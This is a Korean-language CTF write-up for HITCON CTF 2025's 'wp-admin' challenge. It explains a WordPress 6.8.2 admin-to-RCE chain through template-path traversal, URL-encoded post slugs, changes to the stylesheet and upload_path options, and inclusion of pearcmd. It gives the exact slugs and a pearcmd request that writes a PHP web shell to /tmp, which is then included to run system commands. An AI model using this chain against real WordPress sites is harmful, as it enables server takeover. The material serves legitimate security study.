Tyojong
[HITCON CTF 2025] wp-admin 본문
제공된 파일은 관리자 권한 계정과 6.8.2버전(대회 당일 기준 최신 버전)이 자동 설치되는 파일만 제공되었다.
rce를 이용해 readflag파일을 실행시키면 플래그를 획득할 수 있다.
rce를 위해 php테마 파일 수정, 악성 플러그인 업로드 등을 시도했지만 모두 불가능 하였다...
제공된 도커파일을 확인해보면 pearcmd파일이 남아있는 것을 알 수 있다.
이 pearcmd를 실행시켜 rce를 가능하게 하려면 lfi 취약점을 찾아야한다.
if ( wp_using_themes() ) {
$tag_templates = array(
'is_embed' => 'get_embed_template',
'is_404' => 'get_404_template',
'is_search' => 'get_search_template',
'is_front_page' => 'get_front_page_template',
'is_home' => 'get_home_template',
'is_privacy_policy' => 'get_privacy_policy_template',
'is_post_type_archive' => 'get_post_type_archive_template',
'is_tax' => 'get_taxonomy_template',
'is_attachment' => 'get_attachment_template',
'is_single' => 'get_single_template',
'is_page' => 'get_page_template',
'is_singular' => 'get_singular_template',
'is_category' => 'get_category_template',
'is_tag' => 'get_tag_template',
'is_author' => 'get_author_template',
'is_date' => 'get_date_template',
'is_archive' => 'get_archive_template',
);
$template = false;
// Loop through each of the template conditionals, and find the appropriate template file.
foreach ( $tag_templates as $tag => $template_getter ) {
if ( call_user_func( $tag ) ) {
$template = call_user_func( $template_getter );
}
if ( $template ) {
if ( 'is_attachment' === $tag ) {
remove_filter( 'the_content', 'prepend_attachment' );
}
break;
}
}
if ( ! $template ) {
$template = get_index_template();
}
/**
* Filters the path of the current template before including it.
*
* @since 3.0.0
*
* @param string $template The path of the template to include.
*/
$template = apply_filters( 'template_include', $template );
if ( $template ) {
include $template;
} elseif ( current_user_can( 'switch_themes' ) ) {
$theme = wp_get_theme();
if ( $theme->errors() ) {
wp_die( $theme->errors() );
}
}
return;
}
wordpress에서 wp-includes/template-loader.php 파일을 확인해보면 게시물의 종류를 확인하고, 해당 함수를 호출해 템플릿 파일의 경로를 가져오게 된다. 반환되는 템플릿 경로를 조작해 LFI가 가능하다.
function get_single_template() {
$object = get_queried_object();
$templates = array();
if ( ! empty( $object->post_type ) ) {
$template = get_page_template_slug( $object );
if ( $template && 0 === validate_file( $template ) ) {
$templates[] = $template;
}
$name_decoded = urldecode( $object->post_name );
if ( $name_decoded !== $object->post_name ) {
$templates[] = "single-{$object->post_type}-{$name_decoded}.php";
}
$templates[] = "single-{$object->post_type}-{$object->post_name}.php";
$templates[] = "single-{$object->post_type}.php";
}
$templates[] = 'single.php';
return get_query_template( 'single', $templates );
}
wp-includes/template.php 파일의 get_single_template() 함수를 확인해보면 slug를 post_name으로 받아 처리를 하기 때문에 조작이 가능하다.
하지만 ../ 를 시도할 경우 필터링이 되지만 get_single_template함수 안에 urldecode함수가 사용되고 있기 때문에 url encoding으로 우회가 가능하다.
single-post-{slug}.php 경로가 만들어지게 되는데 이 경로는 $template 배열에 들어가게 된다.
function get_query_template( $type, $templates = array() ) {
$type = preg_replace( '|[^a-z0-9-]+|', '', $type );
if ( empty( $templates ) ) {
$templates = array( "{$type}.php" );
}
/**
* Filters the list of template filenames that are searched for when retrieving a template to use.
*
* The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
* extension and any non-alphanumeric characters delimiting words -- of the file to load.
* The last element in the array should always be the fallback template for this query type.
*
* Possible hook names include:
*
* - `404_template_hierarchy`
* - `archive_template_hierarchy`
* - `attachment_template_hierarchy`
* - `author_template_hierarchy`
* - `category_template_hierarchy`
* - `date_template_hierarchy`
* - `embed_template_hierarchy`
* - `frontpage_template_hierarchy`
* - `home_template_hierarchy`
* - `index_template_hierarchy`
* - `page_template_hierarchy`
* - `paged_template_hierarchy`
* - `privacypolicy_template_hierarchy`
* - `search_template_hierarchy`
* - `single_template_hierarchy`
* - `singular_template_hierarchy`
* - `tag_template_hierarchy`
* - `taxonomy_template_hierarchy`
*
* @since 4.7.0
*
* @param string[] $templates A list of template candidates, in descending order of priority.
*/
$templates = apply_filters( "{$type}_template_hierarchy", $templates );
$template = locate_template( $templates );
$template = locate_block_template( $template, $type, $templates );
/**
* Filters the path of the queried template by type.
*
* The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
* extension and any non-alphanumeric characters delimiting words -- of the file to load.
* This hook also applies to various types of files loaded as part of the Template Hierarchy.
*
* Possible hook names include:
*
* - `404_template`
* - `archive_template`
* - `attachment_template`
* - `author_template`
* - `category_template`
* - `date_template`
* - `embed_template`
* - `frontpage_template`
* - `home_template`
* - `index_template`
* - `page_template`
* - `paged_template`
* - `privacypolicy_template`
* - `search_template`
* - `single_template`
* - `singular_template`
* - `tag_template`
* - `taxonomy_template`
*
* @since 1.5.0
* @since 4.8.0 The `$type` and `$templates` parameters were added.
*
* @param string $template Path to the template. See locate_template().
* @param string $type Sanitized filename without extension.
* @param string[] $templates A list of template candidates, in descending order of priority.
*/
return apply_filters( "{$type}_template", $template, $type, $templates );
}
이 배열은 wp-includes/template.php 코드를 지나
function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
global $wp_stylesheet_path, $wp_template_path;
if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
wp_set_template_globals();
}
$is_child_theme = is_child_theme();
$located = '';
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$located = $wp_template_path . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
}
}
if ( $load && '' !== $located ) {
load_template( $located, $load_once, $args );
}
return $located;
}
템플릿의 전체 경로를 찾기 위해 wp-includes/template.php 파일의 locate_template함수에 들어가게 된다.
이 함수는 아래 3곳에서 템플릿 파일이 존재하는지 검사한다
1. $wp_stylesheet_path : 활성 테마의 경로
2. $wp_template_path : 자식 테마가 사용되는 경우 부모 테마의 경로
3. ABSPATH . WPINC . '/theme-compat/' : WordPress 코어 파일의 대체 디렉토리
1. $wp_stylesheet_path의 경우 wp-admin/options.php에서 수정이 가능하다.
때문의 최종 템플릿 경로는 {theme_path}/single-post-{slug}.php가 만들어지고 theme_path는 stylesheet 옵션값, slug는 게시글 슬러그가 된다. stylesheet 값을 ../../../../../../tmp로 설정하고 슬러그를 /../../exploit.php 으로 설정하면 ../../../../../../tmp/single-post-/../../exploit.php 가 되는 것이다.
즉, /tmp/single-post- 폴더가 있으면 파일 시스템 내 임의 위치의 php파일을 include하여 lfi가 가능하게 된다.
그러면 /tmp/single-post- 폴더를 만들어야 하는데 upload_path 옵션을 변경하고 첨부파일을 업로드 하면 된다.
첨부파일은 {upload_path}/year/month/에 저장되고 폴더가 없으면 워드프레스에서 새로 생성한다. upload_path를 /tmp/single-post-로 지정하면 첨부파일 업로드 시 폴더가 생성된다.
익스플로잇
게시글을 2개 생성한다.
첫 번째 게시물의 슬러그를 %2f%2e%2e %2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd로 설정하고
두 번째 게시물의 슬러그를 %2f%2e%2e%2f%2e%2e%2ftmp%2fexploit로 바꾼다.
wp-admin/options.php 에 접속하여 stylesheet 부분에 ../../../../../../../../tmp/ 를 입력한다.
upload_path에는 /tmp/single-post- 를 입력하고 저장한다.
/tmp/single-post- 디렉토리를 생성하기 위해 게시글이 파일을 업로드 하고 저장한다.
파일 업로드 후 도커컨테이너 내부를 확인해보면 /tmp/single-post- 디렉토리가 생성된 것을 확인할 수 있다.
%2f%2e%2e %2f%2e%2e%2fusr%2flocal%2flib%2fphp%2fpearcmd 를 슬러그로 설정한 게시글의 번호를 이용해 pearcmd webshell을 생성하는 구문을 작성한다.
/?p=8&+config-create+/&/<?system($_GET[0]);?>+/tmp/exploit.php
%2f%2e%2e%2f%2e%2e%2ftmp%2fexploit 를 슬러그로 작성한 게시글 번호를 통해 RCE가 가능하다.
시스템 명령을 실행시킬 수 있기 때문에 /readflag를 통해 플래그를 획득할 수 있다.